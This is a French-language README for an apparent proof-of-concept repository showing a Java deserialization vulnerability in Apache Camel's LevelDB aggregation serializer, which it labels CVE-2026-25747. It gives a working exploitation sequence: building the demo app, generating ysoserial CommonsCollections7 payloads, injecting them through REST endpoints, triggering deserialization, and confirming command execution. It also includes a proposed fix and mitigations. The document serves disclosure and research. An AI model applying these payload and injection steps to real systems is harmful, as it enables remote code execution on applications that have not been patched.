
CVE-2026-25747 - Camel LevelDB Deserialization Vulnerability
Ce projet démontre une vulnérabilité de désérialisation Java dans le référentiel d'agrégation LevelDB d'Apache Camel, similaire à CVE-2024-23114 (qui affectait le référentiel d'agrégation Cassandra).
| Propriété | Valeur |
|---|---|
| Composant | camel-leveldb |
| Classe affectée | DefaultLevelDBSerializer.java |
| Méthodes vulnérables | deserializeKey(), deserializeExchange() |
| CWE | CWE-502 : Désérialisation de données non fiables |
| Impact | Exécution de code à distance (RCE) |
| Versions affectées | Toutes les versions, y compris la 4.17.0 (non corrigée au moment des tests) |
La classe DefaultLevelDBSerializer utilise un ObjectInputStream brut sans aucun filtrage :
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (String) ois.readObject(); // NO FILTERING!
}
}
// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
return deserializeExchange(camelContext, buffer, b -> {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (DefaultExchangeHolder) ois.readObject(); // NO FILTERING!
}
});
}
Comparez ceci à l'implémentation Cassandra corrigée (depuis Camel 4.4.0) :
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
// Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
return objectIn.readObject();
}
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init
Sortie attendue :
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key
Now you can inject a malicious payload with POST /exploit/inject
Téléchargez ysoserial et générez une charge utile :
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt
# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt
# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
-d @payload.txt
Sortie attendue :
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key
The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger
Cela itérera sur toutes les clés et appellera repo.get(), ce qui déclenche la désérialisation !
# Check if the command was executed
ls -la /tmp/pwned
Si le fichier /tmp/pwned existe, l'exploitation a réussi !
La vulnérabilité peut être déclenchée par plusieurs chemins :
get() sur le référentiel déclenche la désérialisationPour une exploitation réussie :
Accès en écriture à LevelDB : l'attaquant doit pouvoir écrire dans le fichier de base de données LevelDB
Bibliothèque de gadgets sur le classpath : une bibliothèque contenant des chaînes de gadgets exploitables doit être présente
commons-collections:3.2.1 (gadgets CommonsCollections1-7)org.springframework:spring-core (gadgets Spring)Appliquez le même correctif que pour Cassandra :
ClassLoadingAwareObjectInputStream au lieu d'un ObjectInputStream brutObjectInputFilter configurable avec des valeurs par défaut sûres"java.**;org.apache.camel.**;!*"Exemple de correctif pour DefaultLevelDBSerializer.java :
private String deserializationFilter = "java.**;org.apache.camel.**;!*";
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
new ByteArrayInputStream(buffer))) {
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
// ... rest of deserialization
}
}
En attendant qu'un correctif soit publié :
JacksonLevelDBSerializer au lieu de DefaultLevelDBSerializerpotential-leveldb/
├── pom.xml # Maven configuration with vulnerable deps
├── README.md # This file
└── src/main/java/com/example/
├── Application.java # Spring Boot entry point
├── LevelDBRoute.java # Camel route using LevelDB aggregation
├── StringAggregationStrategy.java
└── ExploitController.java # REST endpoints for exploitation
Ce reproducteur est fourni à des fins de recherche en sécurité et de tests autorisés uniquement. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
| Aspect | Cassandra (CVE-2024-23114) | LevelDB (ce problème) |
|---|
| Statut | Corrigé dans 4.4.0 | NON CORRIGÉ dans 4.17.0 |
| ObjectInputStream | Utilise ClassLoadingAwareObjectInputStream | Utilise ObjectInputStream brut |
| Filtre de désérialisation | "java.**;org.apache.camel.**;!*" | Aucun |
| JIRA | CAMEL-20306 | Pas encore déposé |